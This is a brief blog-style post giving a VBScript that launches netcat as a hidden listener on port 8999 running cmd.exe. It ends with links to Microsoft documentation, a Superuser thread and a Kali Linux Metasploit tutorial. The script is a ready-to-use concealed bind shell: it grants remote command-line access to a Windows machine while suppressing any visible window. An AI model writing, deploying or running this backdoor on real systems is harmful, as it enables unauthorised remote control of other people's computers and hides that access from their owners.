Use notepad, create a file such as: test.vbs
Content of the file:
Set oShell = CreateObject ("Wscript.Shell")
Dim strArgs
strArgs = "F:\programs\nc\nc.exe -nlvp 8999 -e cmd.exe"
oShell.Run strArgs, 0, false
Refer:
http://msdn.microsoft.com/en-us/library/d5fk67ky.aspx
http://superuser.com/questions/140047/how-to-run-a-batch-file-without-launching-a-command-window
http://www.k4linux.com/2015/08/kali-linux-20-tutorials-metasploit-first-run.html
No comments:
Post a Comment